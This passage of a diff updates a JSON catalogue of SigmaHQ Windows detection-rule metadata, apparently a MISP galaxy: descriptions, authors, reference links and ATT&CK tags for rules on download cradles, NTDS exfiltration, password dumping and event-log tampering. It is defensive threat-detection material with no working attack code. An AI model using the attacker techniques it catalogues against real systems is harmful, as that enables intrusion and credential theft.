"https://ss64.com/ps/foreach-object.htmll", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_scan_loop.yml" ], "tags": [ @@ -69498,8 +66537,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", "https://h.43z.one/ipconverter/", + "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_obfuscated_ip_download.yml" ], "tags": [ @@ -69544,38 +66583,46 @@ "value": "Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE" }, { - "description": "Detects Golden Chickens deployment method as used by Evilnum and described in ESET July 2020 report", + "description": "Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters.\nThis is used as an obfuscation and masquerading techniques. Only \"perfect\" homoglyphs are included; these are characters that\nare indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.\n", "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/07/10", + "author": "Micah Babinski, @micahbabinski", + "creation_date": "2023/05/07", "falsepositive": [ - "Unknown" + "Commandlines with legitimate Cyrillic text; will likely require tuning (or not be usable) in countries where these alphabets are in use." ], - "filename": "proc_creation_win_apt_evilnum_jul20.yml", - "level": "critical", + "filename": "proc_creation_win_homoglyph_cyrillic_lookalikes.yml", + "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", - "https://app.any.run/tasks/33d37fdf-158d-4930-aa68-813e1d5eb8ba/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_evilnum_jul20.yml" + "http://www.irongeek.com/homoglyph-attack-generator.php", + "https://redcanary.com/threat-detection-report/threats/socgholish/#threat-socgholish", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_homoglyph_cyrillic_lookalikes.yml" ], "tags": [ "attack.defense_evasion", - "attack.t1218.011" + "attack.t1036", + "attack.t1036.003" ] }, "related": [ { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], - "uuid": "8acf3cfa-1e8c-4099-83de-a0c4038e18f0", - "value": "EvilNum APT Golden Chickens Deployment Via OCX Files" + "uuid": "32e280f1-8ad4-46ef-9e80-910657611fbc", + "value": "Potential Homoglyph Attack Using Lookalike Characters" }, { "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument which is not longer supported. This could indicate an attacker using an old technique", @@ -69634,39 +66681,6 @@ "uuid": "3c89a1e8-0fba-449e-8f1b-8409d6267ec8", "value": "Suspicious Process Created Via Wmic.EXE" }, - { - "description": "Detects potential BlueMushroom DLL loading activity via regsvr32 from AppData Local", - "meta": { - "author": "Florian Roth (Nextron Systems), Tim Shelton, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/10/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_aptc12_bluemushroom.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://pbs.twimg.com/media/EF3yLGoWkAEGeLa?format=jpg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_aptc12_bluemushroom.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ] - }, - "related": [ - { - "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "bd70d3f8-e60e-4d25-89f0-0b5a9cff20e0", - "value": "Potential APT-C-12 BlueMushroom DLL Load Activity Via Regsvr32" - }, { "description": "Detects a suspicious execution of a Microsoft HTML Help (HH.exe)", "meta": { @@ -69680,10 +66694,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", + "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_susp_execution.yml" ], "tags": [ @@ -69798,8 +66812,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-gb/windows-server/administration/windows-commands/ksetup", "https://twitter.com/Oddvarmoe/status/1641712700605513729", + "https://learn.microsoft.com/en-gb/windows-server/administration/windows-commands/ksetup", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ksetup_password_change_computer.yml" ], "tags": [ @@ -69825,10 +66839,10 @@ "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", - "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", - "https://jdhnet.wordpress.com/2017/12/19/changing-the-location-of-the-windows-event-logs/", "https://gist.github.com/fovtran/ac0624983c7722e80a8f5a4babb170ee", + "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", + "https://jdhnet.wordpress.com/2017/12/19/changing-the-location-of-the-windows-event-logs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml" ], "tags": [ @@ -70010,8 +67024,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py", "https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_powersploit_empire_default_schtasks.yml" ], "tags": [ @@ -70174,8 +67188,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Kevin-Robertson/Inveigh", "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://github.com/Kevin-Robertson/Inveigh", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_inveigh.yml" ], "tags": [ @@ -70242,8 +67256,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_logoff.yml" ], "tags": [ @@ -70309,8 +67323,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget", "https://learn.microsoft.com/en-us/windows/package-manager/winget/source", + "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_insecure_custom_source.yml" ], "tags": [ @@ -70444,11 +67458,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", - "https://isc.sans.edu/diary/22264", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://isc.sans.edu/diary/22264", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_file_sharing_domains.yml" ], "tags": [ @@ -70491,8 +67505,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/nao_sec/status/1530196847679401984", "https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/", + "https://twitter.com/nao_sec/status/1530196847679401984", "https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/", "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml" @@ -70556,9 +67570,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA", "https://www.elastic.co/guide/en/security/current/microsoft-iis-service-account-password-dumped.html", "https://www.netspi.com/blog/technical/network-penetration-testing/decrypting-iis-passwords-to-break-out-of-the-dmz-part-2/", + "https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_service_account_password_dumped.yml" ], "tags": [ @@ -70591,8 +67605,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/GelosSnake/status/934900723426439170", "https://asec.ahnlab.com/en/39828/", + "https://twitter.com/GelosSnake/status/934900723426439170", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_exe_anomaly.yml" ], "tags": [ @@ -70613,18 +67627,19 @@ "value": "System File Execution Location Anomaly" }, { - "description": "Detects suspicious ways to download files or content and execute them using PowerShell Invoke-Expression", + "description": "Detects PowerShell download and execution cradles.", "meta": { "author": "Florian Roth (Nextron Systems)", "creation_date": "2022/03/24", "falsepositive": [ - "Scripts or tools that download files and execute them" + "Some PowerShell installers were seen using similar combinations. Apply filters accordingly" ], "filename": "proc_creation_win_powershell_download_iex.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_iex.yml" ], @@ -70643,7 +67658,7 @@ } ], "uuid": "85b0b087-eddf-4a2b-b033-d771fa2b9775", - "value": "PowerShell Web Download and Execution" + "value": "PowerShell Download and Execution Cradles" }, { "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", @@ -70692,8 +67707,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_service.yml" ], "tags": [ @@ -70825,9 +67840,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Winrm/", "https://twitter.com/bohops/status/994405551751815170", "https://redcanary.com/blog/lateral-movement-winrm-wmi/", + "https://lolbas-project.github.io/lolbas/Scripts/Winrm/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml" ], "tags": [ @@ -70860,8 +67875,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://github.com/Azure/Azure-Sentinel/blob/7e6aa438e254d468feec061618a7877aa528ee9f/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml", + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_email_exfil.yml" ], "tags": [ @@ -70914,40 +67929,6 @@ "uuid": "b6b49cd1-34d6-4ead-b1bf-176e9edba9a4", "value": "Potential PowerShell Obfuscation Via Reversed Commands" }, - { - "description": "Detects a command used by conti to exfiltrate NTDS", - "meta": { - "author": "Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)", - "creation_date": "2021/08/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_conti_7zip.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_7zip.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560" - ] - }, - "related": [ - { - "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "aa92fd02-09f2-48b0-8a93-864813fb8f41", - "value": "Conti NTDS Exfiltration Command" - }, { "description": "Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)", "meta": { @@ -70980,6 +67961,39 @@ "uuid": "3c1b5fb0-c72f-45ba-abd1-4d4c353144ab", "value": "Process Creation Using Sysnative Folder" }, + { + "description": "Detects Crassus a windows privilege escalation discovery tool based on PE metadata characteristics.", + "meta": { + "author": "pH-T (Nextron Systems)", + "creation_date": "2023/04/17", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_pua_crassus.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/vu-ls/Crassus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_crassus.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1590.001" + ] + }, + "related": [ + { + "dest-uuid": "e3b168bd-fcd7-439e-9382-2e6c2f63514d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "2c32b543-1058-4808-91c6-5b31b8bed6c5", + "value": "PUA - Crassus Execution" + }, { "description": "Detects usage of winget to add new additional download sources", "meta": { @@ -70993,8 +68007,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget", "https://learn.microsoft.com/en-us/windows/package-manager/winget/source", + "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_custom_source.yml" ], "tags": [ @@ -71104,8 +68118,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/", "https://securityxploded.com/", + "https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_secutyxploded.yml" ], "tags": [ @@ -71239,10 +68253,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2481", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://youtu.be/5mqid-7zp8k?t=2481", "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_mailboxexport_share.yml" ], "tags": [ @@ -71266,8 +68280,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml" ], "tags": [ @@ -71402,9 +68416,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/winsiderss/systeminformer", "https://processhacker.sourceforge.io/", "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", - "https://github.com/winsiderss/systeminformer", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_process_hacker.yml" ], "tags": "No established tags" @@ -71426,8 +68440,8 @@ "logsource.product": "windows", "refs": [ "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_default_accounts_manipulation.yml" ], "tags": [ @@ -71460,8 +68474,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md", + "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml" ], "tags": [ @@ -71580,40 +68594,6 @@ "uuid": "0afbd410-de03-4078-8491-f132303cb67d", "value": "Renamed NetSupport RAT Execution" }, - { - "description": "Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/12/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_ta505_dropper.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/ForensicITGuy/status/1334734244120309760", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta505_dropper.yml" - ], - "tags": [ - "attack.execution", - "attack.g0092", - "attack.t1106" - ] - }, - "related": [ - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "18cf6cf0-39b0-4c22-9593-e244bdc9a2d4", - "value": "TA505 Dropper Load Pattern" - }, { "description": "Detects the execution of msiexec.exe from an uncommon directory", "meta": { @@ -71660,8 +68640,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_susp_child_processes.yml" ], "tags": [ @@ -71681,58 +68661,6 @@ "uuid": "208748f7-881d-47ac-a29c-07ea84bf691d", "value": "Suspicious Outlook Child Process" }, - { - "description": "Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/05/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_greenbug_may20.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_greenbug_may20.yml" - ], - "tags": [ - "attack.g0049", - "attack.execution", - "attack.t1059.001", - "attack.command_and_control", - "attack.t1105", - "attack.defense_evasion", - "attack.t1036.005" - ] - }, - "related": [ - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "3711eee4-a808-4849-8a14-faf733da3612", - "value": "Greenbug Espionage Group Indicators" - }, { "description": "Detects the execution of the builtin \"copy\" command that targets a shadow copy (sometimes used to copy registry hives that are in use)", "meta": { @@ -71746,9 +68674,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_shadowcopy_access.yml" ], "tags": [ @@ -71781,9 +68709,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", "https://twitter.com/_st0pp3r_/status/1583914515996897281", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml" ], "tags": [ @@ -71816,8 +68744,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet", "https://twitter.com/kmkz_security/status/1220694202301976576", + "https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_rdp_hijack_shadowing.yml" ], "tags": [ @@ -71884,8 +68812,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.exploit-db.com/exploits/37525", "https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer", + "https://www.exploit-db.com/exploits/37525", "https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml" ], @@ -72003,8 +68931,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/med0x2e/status/1520402518685200384", "https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml", + "https://twitter.com/med0x2e/status/1520402518685200384", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_ntlmrelay.yml" ], "tags": [ @@ -72025,6 +68953,30 @@ "uuid": "bb76d96b-821c-47cf-944b-7ce377864492", "value": "Suspicious NTLM Authentication on the Printer Spooler Service" }, + { + "description": "Detects file download using curl.exe", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/05/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_curl_download_susp_file_sharing_domains.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", + "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_susp_file_sharing_domains.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "56454143-524f-49fb-b1c6-3fb8b1ad41fb", + "value": "Suspicious File Download From File Sharing Domain Via Curl.EXE" + }, { "description": "Detects the Installation of a Exchange Transport Agent", "meta": { @@ -72257,10 +69209,10 @@ "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services", - "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/", - "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services", "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe", "https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6", + "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml" ], "tags": [ @@ -72368,11 +69320,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg", + "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_tamper.yml" ], "tags": [ @@ -72405,8 +69357,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", "https://abuse.io/lockergoga.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_etw_trace_evasion.yml" ], @@ -72436,50 +69388,6 @@ "uuid": "a238b5d0-ce2d-4414-a676-7a531b3d13d6", "value": "Disable of ETW 